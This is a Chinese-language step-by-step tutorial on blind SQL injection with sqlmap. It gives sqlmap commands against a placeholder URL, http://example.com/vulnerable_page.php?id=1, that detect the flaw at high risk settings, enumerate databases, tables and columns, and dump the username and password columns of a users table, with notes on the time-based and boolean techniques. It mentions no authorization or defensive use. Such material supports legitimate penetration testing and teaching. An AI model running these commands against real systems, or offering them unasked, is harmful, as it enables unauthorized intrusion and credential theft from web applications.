SQL 盲注是指在目标应用程序没有明确返回 SQL 查询结果的情况下,通过构造特殊的 SQL 语句并根据应用程序的响应(如页面响应时间、返回页面的内容是否变化等)来推断数据库信息。以下是使用sqlmap
进行盲注的详细步骤:
1. 准备工作
确保已经安装了sqlmap
。在 Linux 系统中,可以通过以下命令克隆sqlmap
仓库:
bash
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
对于 Windows 系统,可从 sqlmap 官方 GitHub 仓库 下载压缩包并解压。
2. 检测盲注漏洞
假设目标 URL 为 http://example.com/vulnerable_page.php?id=1
,使用以下命令检测是否存在盲注漏洞:
bash
python sqlmap.py -u "http://example.com/vulnerable_page.php?id=1" --batch --level=3 --risk=3
参数解释:
-u
:指定目标 URL。--batch
:让sqlmap
在运行过程中不进行交互询问,自动选择默认选项。--level
:指定测试的等级,取值范围是 1 - 5,值越大,测试越全面,默认值为 1。设置为 3 可以增加发现漏洞的可能性。--risk
:指定测试的风险等级,取值范围是 1 - 3,值越大,使用的测试 payload 越危险,默认值为 1。
3. 枚举数据库信息
如果检测到存在盲注漏洞,可以开始枚举数据库信息。
枚举所有数据库名
bash
python sqlmap.py -u "http://example.com/vulnerable_page.php?id=1" --dbs --batch
参数--dbs
用于枚举目标数据库中的所有数据库名。
枚举指定数据库中的表信息
假设已知数据库名为testdb
,使用以下命令枚举该数据库中的所有表名:
bash
python sqlmap.py -u "http://example.com/vulnerable_page.php?id=1" -D testdb --tables --batch
参数解释:
-D
:指定要操作的数据库名。--tables
:枚举指定数据库中的所有表名。
枚举指定表中的列信息
假设已知表名为users
,使用以下命令枚举该表中的所有列名:
bash
python sqlmap.py -u "http://example.com/vulnerable_page.php?id=1" -D testdb -T users --columns --batch
参数解释:
-T
:指定要操作的表名。--columns
:枚举指定表中的所有列名。
4. 转储数据
当你知道了数据库名、表名和列名后,就可以转储指定列的数据。例如,要转储testdb
数据库中users
表的username
和password
列的数据,使用以下命令:
bash
python sqlmap.py -u "http://example.com/vulnerable_page.php?id=1" -D testdb -T users -C username,password --dump --batch
参数解释:
-C
:指定要操作的列名,多个列名用逗号分隔。--dump
:转储指定列的数据。
5. 其他有用选项
--time-sec
:当使用基于时间的盲注时,可以通过该参数指定延迟时间,例如--time-sec=5
表示每次注入的延迟时间为 5 秒。--technique=B
:明确指定使用布尔盲注(B
代表布尔盲注),如果想使用基于时间的盲注可以使用--technique=T
。